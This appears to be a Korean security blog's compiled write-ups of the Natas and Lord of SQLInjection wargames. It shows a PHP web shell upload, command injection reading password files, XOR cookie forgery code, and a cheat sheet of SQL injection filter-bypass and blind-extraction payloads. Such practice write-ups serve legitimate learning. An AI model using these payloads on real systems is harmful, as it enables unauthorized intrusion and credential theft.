<?  


function genRandomString() { 

    $length = 10; 

    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 

    $string = "";     


    for ($p = 0; $p < $length; $p++) { 

        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 

    } 


    return $string; 


function makeRandomPath($dir, $ext) { 

    do { 

    $path = $dir."/".genRandomString().".".$ext; 

    } while(file_exists($path)); 

    return $path; 


function makeRandomPathFromFilename($dir, $fn) { 

    $ext = pathinfo($fn, PATHINFO_EXTENSION); 

    return makeRandomPath($dir, $ext); 


if(array_key_exists("filename", $_POST)) { 

    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 



        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 

        echo "File is too big"; 

    } else { 

        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 

            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 

        } else{ 

            echo "There was an error uploading the file, please try again!"; 

        } 

    } 

} else { 

?> 



<form enctype="multipart/form-data" action="index.php" method="POST"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 

Choose a JPEG to upload (max 1KB):<br/> 

<input name="uploadedfile" type="file" /><br /> 

<input type="submit" value="Upload File" /> 

</form> 

<? } ?> 


소스를 분석해보면 모든 파일이 이름도 무작위로 바뀌고 확장자도 jpg로 바뀌는걸 확인 할 수 있었다

그래서 프록시를 통해 jpg를 php 파일로 바꿔주고 업로드 한다 



php  파일은 비밀번호가 바로 출력되게 하였다


<?php


system("cat /etc/natas_webpass/natas13");

?>


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

NATAS11





현재 기본 데이터의 값은 위와 같다.

 if($data["showpassword"] == "yes") {

    print "The password for natas12 is <censored><br>";
}

data["showpassword"]의 값이 yes이면 패스워드가 출력될 것이다.

 function saveData($d) {

    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

쿠키는 위의 함수에 의해 생성된다.

 function xor_encrypt($in) {

    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

XOR 암호화 함수는 위와 같이 정의되어 있다..

data["showpassword"]의 값을 yes로 주기 위해서 먼저 key의 값을 알아내야 한다.

 

setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

쿠키 생성을 위한 함수의 실행 순서는 다음과 같다.

json_encode() -> xor_encrypt() -> base64_encode()

=> base64_decode()의 반환 값과 key를 XOR 연산하면 json_encode()의 반환 값이 나올 것이다.

 

★ XOR 연산(^)의 특징

A^B=C

A^C=B

-> 이 특징을 통해서

base64_decode()의 반환 값과 json_encode()의 반환 값을 XOR 연산하면 key 값이 나온다는 것을 알 수 있다.

 

개발자 도구에서 setcookie()에 의해 생성된 쿠키의 값을 확인하고 key를 구하기 위한 PHP 코드를 작성했다.


코드 //(키 값 구하는 코드) 

<?php

$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));

$cookie = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");


function xor_encrypt($in, $cookie) {

    $key = $cookie;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }


    return $outText;

}


print xor_encrypt($defaultdata, $cookie);


?>


쿠키값 구하는 코드 

   <?php

$defaultdata = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));


function xor_encrypt($in) {

    $key = qw8J;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }

    return $outText;

}

print base64_encode(xor_encrypt($defaultdata));

?>



NATAS10


소스 코드를 확인해보면



9번이랑 비슷한 문제인데. preg_match로 다중 명령어를 쓸 수 있는 값들을 막아두었다.


일반적으로 명령어를 실행하는 방법을 잘 생각해보면 리눅스 쉘에서 지원하지 않더라도 명령어를 구분할 수 있다.

grep -i ^ /etc/natas_webpass/natas11 dictionary.txt



U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK


source 또는. 은 후행 되어 오는 파일을 읽어서 파일 속의 내용을 실행하는 역할을 한다.


즉. source로 실행할 파일 내에는 bash에서 사용할 수 있는 명령을 사용하는데


만약 bash에서 사용할 수 없는 명령을 사용할 경우 에러 메시지를 띄우면서 종료된다.

NATAS9



우선 소스코드를 확인해 보니까



KEY 값을 입력하면 dictionary.txt 에서 grep 명령어를 이용해서 key 값에 해당하는 문자열을 출력해주는 구조이다


만약 a를 입력하면 



이런 식으로 a가 들어간 모든 단어를 출력하는 명령어이다.




우리는 이 명령어를 통해서 /etc/natas_webpass/natas10 파일에 접근해야 한다.




리눅스는 명령어 안에 명령어를 사용할 수 있으니까.


!다중 명령어: &&,||,;... 중 하나를 이용해서 문제를 풀었다.



;cat /etc/natas_webpass/natas10 입력해보니 답이 출력되었다.







NATAS 8번



INPUT SECRET 에 값을 넣으면 정답이 출력되는것 같다.


우선 소스코드를 확인해보니





A라는 값이 들어와서 64베이스 인코드를 하고 strrev 함수로 한번 뒤집고 bin2hex 함수로 16진수를 만든게 

3d3d516343746d4d6d6c315669563362 값이다.



이제 역순으로 하면 3d3d516343746d4d6d6c315669563362 를 일반 으로 바꾸고 

==QcCtmMml1ViV3b strrev 함수로 한번 뒤집고b3ViV1lmMmtCcQ==  64베이스 디코드 하면 값이 나온다 ->oubWYf2kBq



입력해주고 넣어주면 끝



W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl



natas7




당장 확인할 수 있는 소스코드도 없고 입력창도 없다



여기서 알아둬야할 사전 지식은 

natas의 모든 비밀번호는 



 All passwords are also stored in /etc/natas_webpass  이 파일에 존재한다




그래서 파라미터를 조작할수 있는 page 변수에 page=/etc/natas_webpass/natas8 파일 경로를 입력해보니 값이 출력 되었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level8->level9  (0) 2018.01.17
overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05

natas6




소스코드에 secret을 입력하면 비밀번호가 나오는거 같다 

옆에 친절하게 View sourcecode 가 있어서 클릭해 보았더니


한번더 친절하게 include 함수를 통해 파일경로를 알려줬다.






알려준 파일경로 /includes/secret.inc 를 접속해 보면 




secret 값이 출력되고  값을 직접 입력하니까 비밀번호가 출력되었다















'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04

natas 5




접근 권한이 없어 로그인 할수 가 없다고한다

loggedin=0 을 1로 수정해주면 답이 출력된다







loggedin=1로 변조해준다.







'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

natas4



문제가 http://natas5.natas.labs.overthewire.org/ 여기에서 온것만 인증해준다고 한다


버프스위트를 통해서 Referer 값만 조작해주면 값이 출력된다 










'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS3



역시나 아무것도 출력이 안된다고 한다.


숨겨진 파일이 있나 소스보기를 통해 검색해봤더니


이번엔 아무 힌트, 파일도 없었다.



robots.txt 파일을 살펴볼 필요가 있다


robots.txt란?


  robots.txt는 로봇 배제 규약(robots exclusion protocol) 혹은 robots.txt 규약(robots.txt protocol)으로 알려진 규약으로서 웹 크롤러(Web Crawlers)에게 해당 웹사이트에 대한 크롤링 지침을 전달하기 위한 용도로 사용됩니다.





 위에서 작성한 것처럼 robots.txt 자체는 보안과 별로 관련이 없다는 것을 알 수 있습니다. 다만 접근 제어를 실수했을 경우를 대비해서 검색결과에 누출되는 등과 같은 광범위한 누출을 방지하기 위해서 작성해 놓아도 무방할 듯 합니다. 하지만 그 내용은 공개되지 않는 영역의 구조를 파악할 수 없도록 잘 확인해야 합니다. 혹은 META 태그를 이용하여 해당 페이지에 직접 기술하는 방법도 유용할 듯 합니다.



출처: http://reiphiel.tistory.com/entry/robotstxt-security [레이피엘의 블로그]




접속해서 경로를 확인한 뒤 







비밀번호를 확인할 수 있다.





'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS2


접속하니까 아무페이지도 출력되지 않는다고 나온다. 웹 페이지의 소스를 확인해서 정보를 찾았더니 


눈에는 보이지 않는 이미지 파일이 있는걸 확인할 수 있었다,


파일의 경로를 확인해보니까 files안에 이미지 파일이 존재했다 


files 디렉토리를 직접 접근이 가능해 안에 파일을 확인해보니까 users.txt에 비밀번호가 숨겨져 있었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04


NATAS1


natas1 번은 우클릭이 막혀있는 웹 페이지 이다

페이지 소스보기를 하지 못하게 막아둔거 같으니까 F12를 통해 개발자 도구를 들어간다. 


주석 처리된 비밀번호를 확인할 수 있다.!

비밀번호:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mB


'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

LOS 워게임으로 알아가는 SQL 인젝션 우회기법!


1.문자열 입력 받을때 무조건 참 만드는 방법

'(싱글쿼터)로 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 


2.주석처리 하는법

# 을 직접 적으로 쓰지 못하니까 %23을 써서 우회한다


3.PW 구하는법

'or id='admin' and length(pw)<9 %23 -길이를 확인한다

'or id='admin' and ascii(substr((pw),1,1))<100 %23 ascii 코드로 한글자 한글자 구한다 


4.공백 우회


1). Tab : %09

  - no=1%09or%09id='admin'

2). Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

3). Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

4). 주석 : /**/

  - no=1/**/or/**/id='admin'

5). 괄호 : ()

  - no=(1)or(id='admin')

6). 더하기 : +

  - no=1+or+id='admin'

7). %0c


5.우회 문자 

'=' -> like,<>,in ()

ascii -> ord(),hex()

substr->substring,left,right,mid


만약 ascii값이 터무니 없게 크게 나오면 확장된 ascii 코드표 참고

출처:http://blog.daum.net/you0ha/18284059



6.or and 필터링 


||,&&=%26%26



7. ereg 함수 우회

대소문자 구별을 하기 때문에  Admin 으로 우회한다

ereg 함수의 취약점:

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 id=%00'or 1=1%23



8.str_replace 우회하기

id=adadminmin



9.싱글쿼터 우회하기

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다




10.문자열이 ()로 묶여 있을때


')로 탈출이 가능하다




11.주석 우회 ;%00




12.개행 문자 

한줄 주석을 우회할때 유용하게 쓰인다.

%0a




13.항상 참이되는 식 만들기 


//모두 참으로 만들기 

이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.

'>-1#


또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.

'<1#


꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.

1'<99#


비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.

'=0=1#


또한 서로 값이 같아야 하는 비교 연산도 있다.

'<=>0#


이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.

'=0=1=1=1=1=1#

'=1<>1#

'<>1#

1'<>99999#

'!=2!=3!=4#







'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12

1번부터 자세하게 적은거 같아서 따로 올릴 필요는 없지만 그래도 정리한겸..



1번-gremlin 


id=1'or 1=1 %23

id가 ''으로 문자열 처리 되어있으니까 

id=1' 막아두고 모조건 참이 되도록 or 1=1을 입력해준다 



2번-cobolt

id값이 있어야 하고 그 id 값은 admin 이여야 하는 문제였다

답:id=admin ' %23 

1번과 같은 방식으로 id에 admin을 입력한뒤 그 뒤를 주석처리 해버리면 문제풀이가 가능하다  %23<-은 url 인코딩을 통해서 나오는 # 주석처리의 결과이다



3번-goblin

sql 쿼리의 특징을 보니 select 쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고

모든 칼럼을 출력을 했다

여기서 이제 생각할건 그 모든 칼럼중에  admin 을 어떻게 출력할거인가 였는데 

생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다

답:no=2 or 1=1 order by 1



4번-orc

쿼리문이 2개 쓰인 문제이다

$_GET[pw] = addslashes($_GET[pw]); 

$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다


$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 

이걸 우회해야 답을 풀수 있다.


if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데


즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23

이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23

아스키 값을 입력하여 값을 하나하나 구해준다


총 길이는 8

답:295d5844



5번-wolfman


띄어쓰기 우회 %09

*SQL Injection 공격시 공백 문자 필터링시 우회 방법


https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23

공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다 



6번-darkelf


or and () 다 못쓰고 항상 참인 경우를 만들기

# =, and, or 필터링 됐을 때

- 각각 like, &&, ||

답:https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23 



7번-orge

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고

https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23

한문자 한문자 검색


and가 필터링 되면 && 써야하는데 url 문자에 걸리기 때문에 %26%26으로 바꿔서 입력해준다 


답:6c864dec




8번-troll


' 싱글 쿼터가 preg_match로 막혀있는 문제였다

그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만

시간만 잡아 먹었다

그리고 ereg 함수가 보여서 ereg 함수를 우회할 방법을 찾으니까 

대소문자 구별을 못하기 때문에  Admin과 같이 하면 우회를 할 수 있다



9번-vampire

str_replace  문자가 있어서 쉽게 우회했다

$_GET[id] = str_replace("admin","",$_GET[id]); 


str_replace 우회하기

id=adadminmin



10번-skeleton

https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23

뒤에

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 

1=0을 주석 처리 해버리고

리미트 써서 풀어 주면 답이 출력된다



11번-golem

?pw='|| id like 'admin %26%26 length(pw)<9 %23

길이를 먼저 구해주고 8글자 

?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23

and or  =

막힌 문자열을 우회처리해서 값을 구해준다 

답:88e3137f



12번-darkknight

pw는 '' 라서 오류를 낼 방법이 없으니까

no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다 

그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다  

그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다

그래서 no=2를주고 ascii랑 substr이 막혀서 각각 ord mid 로 우회해서 값을 찾아 입력하였다 

49,99,54,50,98,97,54,102

비밀번호는:1c62ba6f


https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23



13번-bugbear


substr,ascii,',공백,and,or,like,=

각각 우회기법 

substr=mid

ascii=ord,hex

'=우회 못함

공백=%09

and=%26%26

or=||

=,like = in ()


pw=1&&no=1%09||%09%091%09in%09(1)

admin 위치는 no=2

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)


그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9

개수는 8로 구했고


hex 코드 사용해서 하나하나 구해주면 된다 

pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)

답:735c2773



14번-giant

공백 문자 우회 문제

%0c



15번-assassin

pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%

like 사용법 8%<-8로 시작되는 모든 것을 검색해라



16번-zombie_assassin

ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



17번-succubus

id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다

?id=\&&pw=%20or%201=1%23


18번-nightmare


사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 



19번-xavis

pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다

¸uA°ÆÐA¡¤≫



20번-dragon

#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23





20번 





#뒤는 한줄 주석이라서 개행해서 풀어야 했다

%0a<- 개행 문자 

줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까

limit로 admin 계정 위치만 잡아주면 답이 나왔다. 

pw='%0a or 1=1 and id='admin' limit 1,1 %23



19번




pw='or 1=1 and length(pw)=40%23

길이가 40..개

ord(substr((pw),1,1))<200 %23

으로 하나하나 구해보면 

아스키코드 :184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

아스키 코드 확장값 보고 풀었습니다



아스키 코드 확장값

출처:http://blog.daum.net/you0ha/18284059


답:¸uA°ÆÐA¡¤≫



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 1~20번 문제 한번에 보는 정리된 해설  (0) 2017.12.13
[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12

18번






사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데

;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다

그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데

if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

여기서 pw의 개수 제한이 걸려서

처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서

모두 참이 되는 값을 바꿔야 겠다 생각을 했다

'or 1=1 보다 간단한 방법이 많아서

'<1# 을 사용하였다

'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다

' 뒤에 ) 괄호로 묶어 주었다. 

'WARGAME > LOS' 카테고리의 다른 글

[LOS] 20번 문제-dragon  (0) 2017.12.13
[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12

17번-succubus







id='\' and pw=''

이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다

따라서 \' and pw='  까지가 하나의 문장으로 묶여 버리고

그뒤는 쿼리로 인식할수있다



답: ?id=\&&pw=%20or%201=1%23




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 19번 문제-xavis  (0) 2017.12.13
[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12

16번


ereg 함수의 취약점

첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다 

id=%00'or 1=1%23



'WARGAME > LOS' 카테고리의 다른 글

[LOS] 18번 문제-nightmare  (0) 2017.12.13
[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 15번 문제-assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12

15번 문제


pw=1234 union all select id from prob_assassion %23

pw=1 union all select id from prob_assassin limit 3,1 %23

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%


like 사용법 8%<-8로 시작되는 모든 것을 검색해라




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 17번 문제-succubus  (0) 2017.12.12
[LOS] 16번 문제-zombie_assassin  (0) 2017.12.12
[LOS] 14번 문제-giant  (0) 2017.12.12
[LOS] 13번 문제-bugbear  (0) 2017.12.12
[LOS] 12번 문제-darkknight  (0) 2017.12.10

+ Recent posts